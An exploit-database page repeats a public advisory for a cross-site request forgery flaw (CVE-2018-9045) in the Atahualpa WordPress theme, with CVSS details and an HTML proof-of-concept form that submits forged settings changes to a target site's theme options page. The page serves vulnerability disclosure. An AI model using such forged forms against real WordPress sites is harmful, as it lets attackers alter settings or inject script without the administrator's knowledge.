Exploitalert - Database of Exploits

WordPress Atahualpa Theme Cross Site Request Forgery

CVE	Category	Price	Severity
CVE-2018-9045	CWE-352	$800	High

Author	Risk	Exploitation Type	Date
Seyhan Acar	High	Remote	2017-03-03

CPE
cpe:cpe:/a:wordpress:atahualpa_theme

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017030023

WordPress Atahualpa Theme Cross Site Request Forgery------------------------------------------------------------------------ Cross-Site Request Forgery in Atahualpa WordPress Theme ------------------------------------------------------------------------ Spyros Gasteratos, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross Site Request Forgery vulnerability exists in the Atahualpa Wordpress theme which allows attackers to legitimate users into performing unintended actions on the Atahualpa theme configuration page. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0003 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Atahualpa WordPress Theme WordPress Theme. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_atahualpa_wordpress_theme.html The theme's save configuration settings form doesn't include a Wordpress CSRF nonce and consequently the script servicing the request doesn't check for one. This allows the form to be submitted with preloaded values as long as the browser sends a valid login cookie. This allows attackers who lure legitimate users with an active Wordpress session to an irrelevant website which submits the "Save Settings" request to the user's Wordpress install. Since the request is towards a domain for which the browser has cookies the legitimate cookies will be submitted and the request will succeed. The theme's configuration panel allows setting a variety of configuration options including changes in the website's appearance as well as appending Javascript in several areas. Attackers can use this vulnerability to take over a Wordpress website. Proof of concept Install the theme, login as admin and load the following csrf poc in the same browser on another tab, when clicking "Submit" it will modify the page footer. <html> <body> <form action="http://<target>/wp-admin/themes.php?page=atahualpa-options" method="POST"> <input type="hidden" name="footer_style" value="background-color: #ffffff; border-top: dashed 1px #cccccc; padding: 10000px; text-align: center; color: #777777; font-size: 95%; /*bye*/"/> <input type="hidden" name="footer_style_links" value="text-decoration: none; color: #777777; font-weight: normal;"/> <input type="hidden" name="footer_style_links_hover" value="text-decoration: none; color: #777777; font-weight: normal;"/> <input type="hidden" name="footer_style_content" value="Copyright © %current-year% %home% - All Rights Reserved"/> <input type="hidden" name="full_width_footer" value="No"/> <input type="hidden" name="sticky_layout_footer" value="No"/> <input type="hidden" name="footer_show_queries" value="No"/> <input type="hidden" name="save" value=""/> <input type="hidden" name="action" value="save"/> <input type="hidden" name="category" value="footer-style"/> <input type="submit" value="Submit"/> </form> </body> </html>

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